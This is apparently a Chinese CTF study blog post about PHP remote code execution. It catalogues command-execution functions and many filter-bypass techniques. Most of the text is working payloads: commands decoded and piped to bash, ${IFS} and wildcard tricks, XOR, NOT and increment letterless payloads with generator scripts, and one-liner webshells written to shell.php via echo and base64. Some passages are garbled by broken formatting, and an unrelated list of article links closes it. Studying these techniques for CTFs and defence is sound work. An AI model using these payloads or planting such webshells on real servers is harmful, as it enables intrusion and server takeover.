从最近的xyctf中,最大的感受就是自己的rce基础并不牢固,所以马上来恶补一下
漏洞成因
php和其他语言有很多能够执行系统命令或执行其他php代码的函数,因为开发者的使用不当,使得用户能够控制传递给执行命令的函数的参数,那么就用可能被用来执行恶意命令,接下来的学习以ctf中最常用的php来学习
利用方法
命令注入
执行系统命令的函数和方法
执行的结果都是以字符串返回,执行失败返回空,区别是能不能直接回显
函数 | 描述 |
---|---|
system($cmd) | 可以直接回显 |
shell_exec($cmd) | 不直接回显,配合echo等才能看到结果 |
passthru($cmd) | 可直接回显 |
exec($cmd) | 不能直接回显,配合echo等才能看到结果 |
`$cmd`(shell_exec的变种) | 系统命令用反引号包裹,也能执行,不能直接回显 |
linux也通过echo ,输入输出重定向,来写入一句话木马
代码注入
利用一些php函数来执行系统命令
1.eval
rce中最常用的函数,将php代码以字符串形式传入,显示执行结果,代码结束要加;
2.preg_replace()
preg_replace(‘正则规则’,‘要替换的字符’,‘目标字符’)
正则规则中使用\e修饰符,php会被后面要替换的字符当作php代码执行, 如:
php7的匹配正则模式不能由get传入,但php5可以
3.create_function()
如图,create_function()可以创建动态函数,$args
是参数,$code
具体动态函数的要执行的代码,用eval执行,所以完全可以拿来写一句话
<?PHP $func=create_function('',$_POST['cmd']);$func();?>
4.call_user_func
!
5.call_user_func_array
用法同call_user_func
,只是后面传的参数要是数组
6.array_map
array_map( c a l l b a c k , callback, callback,array),对传入的array数组的每个元素,应用传入的$callback回调函数
7.array_filter
array_filter( a r r a y , array, array,callback),对 a r r a y 数组用 array数组用 array数组用callback函数过滤掉一些元素,用法与array_map相近,只是参数顺序相反
8.popen
#利用方式
$handle=popen('ls','r');echo fread($handle,2096);
9.proc_open
用popen的升级版,用起来比popen稍微复杂,将命令作为单独的进程执行,并控制其输入、输出和错误管道
#原始
// 要执行的命令
$test = "whoami";
// 用于设置进程管道的数组
$array = array(
array("pipe", "r"), // 标准输入管道
array("pipe", "w"), // 标准输出管道
array("pipe", "w") // 标准错误输出管道
);
// 执行命令并创建进程
$fp = proc_open($test, $array, $pipes);
// 从标准输出管道中读取数据并打印
echo stream_get_contents($pipes[1]);
// 关闭进程
proc_close($fp);
#压缩去掉换行
$test="whoami";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($test,$array,$pipes);echo stream_get_contents($pipes[1]);proc_close($fp);
命令注入绕过
题目的重点都是如何绕过过滤
过滤命令关键字
其他命令平替
1.使用其他查看文件的命令绕过,比如过滤cat
常见平替:
tac,less,more,nl,head,tail
还有其他命令可以读取文件:
命令 | 描述 |
---|---|
vim ,vi /flag | 编辑器 后跟文件,也能显示出内容 |
od -c 或 -a /flag | 读取二进制数据,加-a或-c,就会输出常见字符 |
sort,unqiue /flag | 排序去重命令都会显示文件内容 |
file -f ,date -f , dig -f /flag | 利用报错读出文件内容 |
sh /flag 2>%261 | 也是利用报错,但是要把错误输出重定向到标准输出流,如果get传输要url编码& |
strings /flag | strings 读取二进制文件中的可打印字符 |
rev /flag | 逆序输出 |
paste /flag | paste用于合并文件内容,只有一个文件也可以 |
diff /flag /etc/passwd | diff用于比较文本内容,会显示各个文本的内容,需要一个已知文件 |
单用base64 /flag
,也可以得到flag
date 是查看时间的命令,但是date -f 可以利用它的报错信息读取文件,
dig -f 也可以
!
但是在php的system中,date-f读不出来,但是 dig -f可以
过滤ls
dir
在ubuntu也可以扫描目录,但在其他环境可能报 command not found
无效转义
在命令的字符中添加' " \ $@
,不影响命令的执行,单双引号要加两个
·
编码
1.十六进制编码
用xxd工具,xxd有两个选项,-r可以把十六进制数据转为二进制,-p则是以 postscript plain hexdump 风格(易于阅读和打印)输出数据,配合管道符传递给shell,就可以执行命令
echo 636174202f666c6167 | xxd -r -p|bash
或者用shell的内联执行
$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')
2.八进制编码
$(printf '\143\141\164\040\057\146\154\141\147')
$(echo '\143\141\164\040\057\146\154\141\147')
3.base64编码,32也行,配合管道符
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "MNQXIIBPMZWGCZY="|base32 -d|bash
echo 'ZWNobyAnPD89QGV2YWwoJF9QT1NUW2NtZF0pPz4nID4gc2hlbGwucGhw'|base64 -d|bash #写入一句话
变量引用
把要执行的命令都每个单词从,拆开几个部分用一个变量定义,使用时拼接在一起
a=l;b=s;c=/;$a$b $c ->ls /
a=ca;b=t;c=/fl;d=ag;$a$b $c$d ->cat /flag
很明显这个方法;
不能被过滤
过滤关键文件名
使用通配符
具体例子使用可上网搜索
-
*,匹配一个或多个字符 ,如:
cat /f*
-
?,匹配一个字符,如:
cat /fla?
-
[…] ,匹配指定范围内的字符,如:
cat /[e-g][k-m]?[e-h] 或/[e-g][k-m][0-b][e-h]
,[@-z]匹配所有字母,有时a被过滤可用
过滤空格
${IFS}
${IFS}
绕过,${IFS}
在linux的环境变量中代表空格 如cat${IFS}/flag
重定向
如cat</flag
!
%09
%09就是制表符,url解码后传给php就和空格差不多,如:cat%09/flag
过滤/
逻辑符号拼接命令
有一些题目是代码本身会执行一些正常的命令(如ping),这时我们可以利用逻辑符号在后面拼接我们注入的命令
linux命令中,逻辑符号的作用如下:
cmd1 & cmd2
:两个命令同时在后台执行,前面的是否执行成功不影响后续命令执行
cmd1 && cmd2
:按顺序先后执行命令,输出结果,前面的失败后面也无法执行
cmd1 | cmd2
:| 是管道符,用于把前面命令的结果作为变量输入到后面的命令,如果后面命令用不到,且正常执行不报错
那就正常执行后面的命令,如:
前面的执行失败不影响后面执行
cmd1 || cmd2
:前面的命令执行失败才会执行后面的命令,否则后面的命令不执行
cmd1;cmd2
:顺序执行命令
过滤了/,就可以用命令连接符号,多次cd跳转到根目录执行操作
cd ..;cd ..;cd ..;ls
或
cd ..%26%26cd ..%26%26cd ..%26%26ls
截取环境变量
没有过滤 $ {}时可以使用
$HOME 环境变量 就是/用户名,截取第一个就是/
$0可以表示bash
代码注入相关绕过
过滤system
如果是代码注入且过滤了system,可以尝试:
其他函数
使用其他可以执行命令的函数如:passthru,shell_exec,但是没有回显,配合echo,print,var_dump
使用
或者使用php内置的扫描目录和读取文件的函数。如:
扫描目录:scandir
读取文件:file_get_contents , readfile , file ,highlight_file , show_source,
读取文件最后两个函数不用var_dump,其余都要
拼接执行
如:
(s.y.s.t.e.m)("whoami");
(s.y.s.t.e.m)('whoami');
php7才可以
编码
可以把php的函数名用八进制或十六进制编码,php7可以,动态执行函数
"\x73\x79\x73\x74\x65\x6d"("\x6c\x73"); -> system('ls')
"\163\171\163\164\145\155"("\154\163"); -> system('ls')
进制字符串要用双引号包裹,双引号中如果有变量,会解析变量,而单引号中不管是否有变量,都当作字符串
或者hex2bin
hex2bin('73797374656d')(hex2bin('636174202f666c6167')); #system('cat /flag')
过滤引号
可以用参数逃逸,这个方法也能用在过滤很多关键字的情况,如
?a=system($_GET[b]);&b=cat /flag
?a=$_GET[b]($_GET[c]);&b=system&c=cat /flag
使用反引号,如
?a=echo `ls`;
无数字字母
如果题目过滤了常规的数字和字母,就要使用其他一些运算方法,在执行php代码前先进行一定运算,
把一些不可见字符的二进制数据,通过一些数学运算,算出字母和数字,再执行
异或
使用大佬的两个配套脚本,如:
<?php
// 打开一个文件用于写入,如果文件不存在则创建该文件
$myfile=fopen("xor_rce.txt","w");
// 初始化一个空字符串,用于存储生成的结果
$contents="";
// 循环遍历 0 到 255 的所有可能的字节值
for($i=0;$i<256;$i++){
for($j=0;$j<256;$j++){
// 如果字节值小于 16,则将其转换为两位十六进制数,以便于 URL 编码
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
// 定义用于匹配不允许的字符的正则表达式
$preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; // 根据题目给的正则表达式修改即可
// 使用 URL 解码将十六进制转换为ascii码,然后检查是否存在不允许的字符
if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){
echo ""; // 如果存在不允许的字符,则不做任何操作
}
else{
//
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
// 如果异或结果是可见字符,则将其的url编码,添加到结果字符串中
if(ord($c)>=32&ord($c)<=126){
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
// 将结果字符串写入到文件中
fwrite($myfile,$contents);
// 关闭文件句柄
fclose($myfile);
?>
两个ascii字符,分别0-255,进行异或运算,如果结果是可见字符且不符合设定的正则,添加这两个字符的url编码到文件字符中,
这样一来,就可以把可见字符,用两个不可见字符的异或来表示,如
当然,大佬还写了利用这个文件,生成payload的脚本
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
# print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function: "))+action(input("[+] your command: "))+";"
print('\n',param)
运行结果:
所以payload即为
?a=("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%0c%0c%00%00"^"%60%7f%20%2f");
取反
利用取反运算,这个可以不用大佬脚本,自己随便弄一下都行,如:
<?php
$php_code='system';
$cmd='ls /';
$arr=array($php_code,$cmd);
$res="(~".urlencode(~$php_code).")(~".urlencode(~$cmd).");";
echo $res;
#结果
%8F%97%8F%96%91%99%90
//phpinfo()->payload:
?a=(~%8F%97%8F%96%91%99%90)();
//system('ls /');->payload:
?a=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
如果是post传参,用hackbar传过去url解码有问题,用bp就可以
自增
在 PHP 中,对一个字母型变量执行自增运算时,会将该字母转换为其 ASCII 码值,执行自增运算后再将结果转换回字母。具体来说,字母型变量的自增运算实际上是对其 ASCII 码值加一,然后将结果转换回字母。如:
我们可以通过不断的自增来获得想要的字符,eval可以执行php代码,把自增的代码传进去,得到想要的字符后,最后构造出能rce的样子
但是这是无数字字母,php代码中也不能含有字母,所以我们的自增起点要稍微变一下,如:
将空数组和字符串拼接时,php会把空数组转为字符串Array
再去拼接,取出下标为0的字符,就是A,这里不能直接用0,而是用一个表达式''=='$'
,值为假,就会返回0,从而取到了字母A
然后开始自增,获得其他字母,得到$_GET
或$_POST
,大佬脚本如下:
$_GET
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($_);
#$res="$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);"
?>
代码中
经
过两次自增和拼接,变为
‘
_经过两次自增和拼接,变为`
经过两次自增和拼接,变为‘_GET,所以最后可以利用的代码变为
G
E
T
[
]
(
_GET[_](
GET[](GET[__]);,
,__`传入payload即可
要把原始代码去掉换行,再url编码一下,最终payload
%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%27%3D%3D%27%24%27%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D%27_%27.%24_%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=ls /
无字母
其实就是利用八进制编码,这样构造的payload没有字母,由于我本地php测试总是失败,用一道题目来测试
源码:
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
这题只允许白名单,白名单里只有数字,和一些特殊的字符,$,\,'
,很明显就是要八进制编码
$'\154\163' #ls
但是这样执行的命令无法加参数,要读取flag需要用到<,类似cat /flag
$'\143\141\164'<$'\057\146\154\141\147'
这方面的详细知识可以看这篇大佬的文章:https://xz.aliyun.com/t/12242
无回显
如果用exec,这类没有回显的函数,可以考虑写一句话或者 ,把命令结果重定向或写入文件中
有写入权限
写入一句话木马,用到重定向符号:>
?a=echo%20%27<?%3Deval($_POST[cmd])?>%27%20>shell.php
tee 命令结果写入文件
要用到管道符:|
cat /flag | tee a
然后再去访问a即可,
无写入权限
可以尝试bash时间盲注 需要到:|
awk截取第一行内容:cat /flag | awk ==1
cut 截取第一列内容cat /flag | awk NR==1 | cut -c 1
不过一般题目中flag文件一般都只有一行,awk 可以省略,当然如果flag.php就不能省略了
获取文件的文本长度,行数
awk 'NR==1 { print length($0); exit }' /flag #获取第一行的文本长度
awk 相关文章
- RCE学习
- amazeui学习笔记二(进阶开发1)--项目结构structure
- amazeui学习笔记二(进阶开发5)--Web 组件开发规范Rules
- 【算法系列学习三】[kuangbin带你飞]专题二 搜索进阶 之 A-Eight 反向bfs打表和康拓展开
- JAVA第二周学习笔记-字符串
- 白话机器学习1:分类问题中的评价指标
- 我的Android 4 学习系列之创建应用程序和Activity:Manifest、Application、Activity
- 我的Android 4 学习系列之Intent 和 Broadcast Reciever
- 我的Android 4 学习系列之开始入手:配置开发环境与理解Hello World!
- vue 学习笔记(一)